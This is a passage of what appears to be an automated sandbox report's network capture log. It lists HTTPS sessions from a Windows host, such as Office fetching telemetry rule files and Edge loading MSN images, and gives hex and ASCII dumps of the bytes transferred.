B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	62067	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-185f5d8b95cgrrn8hC1NYCgwh4000000099g000000007y5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	62071	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:24 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 13:47:16 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: ff79e93a-9960-4b77-a778-af0a49b23005 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQA X-Source-Length: 67183 Content-Length: 67183 Cache-Control: public, max-age=311750 Expires: Sat, 23 Nov 2024 13:55:14 GMT Date: Tue, 19 Nov 2024 23:19:24 GMT Connection: close
2024-11-19 23:19:24 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: d3 5f 5b a3 b9 4e 4b 44 b6 25 ed b9 ea c3 8b fa b2 eb f0 8a 5d d8 7f 89 9f 01 1f a8 f1 90 dd 5e a7 3b bf cc f5 69 fd 77 8c 86 f7 19 ad 71 f7 58 e3 38 65 d6 32 eb 19 c4 76 fb b8 f1 dc 5f 2b 81 ab cc d3 f9 9d 2b 8e ab ff 00 e9 f1 1d 91 f7 9f 25 0f f8 89 f2 e8 df f6 65 ef 47 a3 1f f8 83 87 7d 68 54 8f 32 7e d3 8c e1 97 fe 5d 63 3c 7b 7b 6f 8e ad ff 00 e9 f1 1f e5 f7 87 df 78 9c b8 2a dc f2 82 f6 9c b1 fa cf 05 2f ee 5b bd 35 ec 3b a3 f5 0e 16 5b ab 43 fa 91 ce a7 ff 00 3f 9b 77 1d b9 5f 17 c7 be af 05 db 51 18 f9 df 56 93 c3 87 a3 1e f9 7f f9 1e da e2 29 cb 74 a2 fb 9a 35 f3 23 a4 5f a4 2f f2 f0 94 be ae f9 3c 3a e7 7e f3 b6 9a e3 ef eb fb bd b5 39 df e4 7a 3b 6b 49 5b 68 97 e9 05 2a d2 d2 3b 3d 24 6d 0f 68 c2 aa c3 b1 37 0b 90 55 86 4d ca b8 0c 04 30 18 c9 Data Ascii: _[NKD%]^;iwqX8e2v_++%eG}hT2~]c<{{ox/[5;[C?w_QV)t5#_/<:~9z;kI[h;=$mh7UM0
2024-11-19 23:19:24 UTC	2358	IN	Data Raw: 9c b7 b6 cc ca 6c cc ac 90 00 82 19 23 00 a0 43 11 00 00 05 00 08 40 30 10 ca c8 10 ee 22 d0 60 20 2a 18 80 45 4b 50 12 32 80 04 74 c6 94 e6 d5 90 1c e0 7b 74 f8 29 3c 5e af 8e 8d 27 ad 0e 16 9c 15 f7 ee df d3 e4 73 9c e1 bd 66 5f 2f 1a 53 96 47 a7 0e 06 4d bd ae 4d ae bf 1f 99 f4 f0 82 4d d9 62 96 36 cb bb 28 fc cc d6 29 46 1b 32 57 eb 3f cb 8f 8a 5f 69 eb 39 4e 73 2e b1 84 38 69 f0 74 e2 d5 f1 ba 78 e4 b4 24 b7 b6 f2 6f 2c 4f 42 9d 28 a5 18 da db 56 95 45 9b b6 4d f2 62 81 cf cc bf 96 fd 2a fb 55 e5 9e 1c 9b e5 95 fb 05 1f 54 56 cf a6 92 b4 a7 52 78 39 db 3c 79 37 ed ee 39 4c cb a4 44 43 aa 36 bc f3 7b 4e 4a 3b ba db 95 fa 59 09 3b 6c df 7a 84 dd 92 e5 4b d2 9b 5a 37 da e6 49 ed 47 6a 2f 62 9a 77 95 49 61 29 e3 8b 57 dd 7d 2f 17 90 ef 75 b5 1f d3 86 e7 Data Ascii: l#C@0"` EKP2t{t)<^'sf_/SGMMMb6()F2W?_i9Ns.8itx$o,OB(VEMbUTVRx9<y79LDC6{NJ;Y;lzKZ7IGj/bwIa)W}/u
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 46 92 5e b8 e0 9c e2 ad 15 94 13 f7 91 9c 94 5f a9 f5 ea 3c b5 2d 7a 16 45 02 7b 55 27 15 8e ce 12 96 57 b5 ed 7d 5a 37 20 be d5 da 76 8a c3 6b 4e a8 ea 1e ca d9 d8 58 41 6f c7 17 de f4 3c f3 65 66 be 1f 82 cb bd 90 43 c7 0b 59 78 3d b2 f7 0f 7b be 6b 3c 92 d5 ef 04 e2 e3 39 2e ac 2f 7e f5 be da 5e b0 83 52 8e db c2 36 ba bf cf 58 07 cb e3 2f c0 33 d2 f4 2d cb bd 82 bb bb dc de 9d fb 3a 5f 84 4d ab 39 3c 21 c9 59 c9 fb 6f 92 03 f0 90 15 c0 f6 9e 61 80 80 06 32 40 81 80 8a 28 92 80 08 18 08 44 43 28 43 34 10 00 c2 90 c6 20 86 31 01 14 c0 00 a0 24 60 19 05 08 02 98 08 61 00 80 00 63 01 80 80 62 0a 63 18 c0 45 00 04 21 81 40 2b 16 20 00 0d e1 6d 25 00 25 61 88 41 14 21 08 8a 40 00 4b 00 c4 22 34 77 10 86 40 87 71 5c 90 00 10 80 00 40 03 10 00 00 5c 42 2a 59 Data Ascii: F^_<-zE{U'W}Z7 vkNXAo<efCYx={k<9./~^R6X/3-:_M9<!Yoa2@(DC(C4 1$`acbcE!@+ m%%aA!@K"4w@q\@\B*Y
2024-11-19 23:19:24 UTC	16192	IN	Data Raw: a5 4e 32 77 95 a5 36 b4 47 75 97 6d 88 34 fc b6 a7 3f 55 59 e1 15 fe 15 a9 66 c1 7e 8b 72 7e ba b5 3d 9b 96 a8 a2 14 b7 d5 92 bc 9e 10 8e 69 68 e7 de c7 7f 25 6d 4a d2 ab 3c 12 f6 6a 8a cd 91 52 d3 a3 4e 51 4f 6a ad 5b e3 ad e1 7c 37 46 2b 70 e4 9c 29 d3 a1 17 79 bb 2d ad 09 75 a5 ab f1 05 6a 11 da 9f aa a4 b0 d6 f4 28 ea e8 c2 17 a1 79 cb d5 56 6f 72 f9 2d 4b 32 8d 95 9d 92 fc b8 7f 9a 5e d0 57 72 db 6a ed 75 63 92 ef d6 73 45 79 11 d9 5e aa 95 1b 69 64 af f2 8c 4b 9b f2 20 a9 c3 d5 52 a5 f1 d7 9c 9f 70 1b 53 5b 5c 4c a4 f1 4a 29 5f c2 f3 8a f9 98 f0 df a9 56 bd 67 bd 4a 54 e3 fb 30 f7 bb 84 df dd a8 28 47 19 c9 6c c6 fb dc 9e 6f e6 c2 cf 86 e1 d5 38 63 52 4b 65 6b 6f 7c 9f cd 80 f8 59 79 b1 9d 48 e1 2a 8d ed 3f 0d b0 b7 37 cc ba 6d 4e 2e 30 c2 09 b4 df Data Ascii: N2w6Gum4?UYf~r~=ih%mJ<jRNQOj[\|7F+p)y-uj(yVor-K2^WrjucsEy^idK RpS[\LJ)_VgJT0(Glo8cRKeko\|YyH*?7mN.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	62072	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:24 UTC	518	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 06:28:57 GMT X-Datacenter: westus X-ActivityId: a50eb48d-36f4-469c-888a-f187066397e3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 X-Source-Length: 76988 Content-Length: 76988 Cache-Control: public, max-age=68978 Expires: Wed, 20 Nov 2024 18:29:02 GMT Date: Tue, 19 Nov 2024 23:19:24 GMT Connection: close
2024-11-19 23:19:24 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 6c c8 Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=zl
2024-11-19 23:19:24 UTC	1994	IN	Data Raw: 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 48 ad Data Ascii: .LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SWH
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
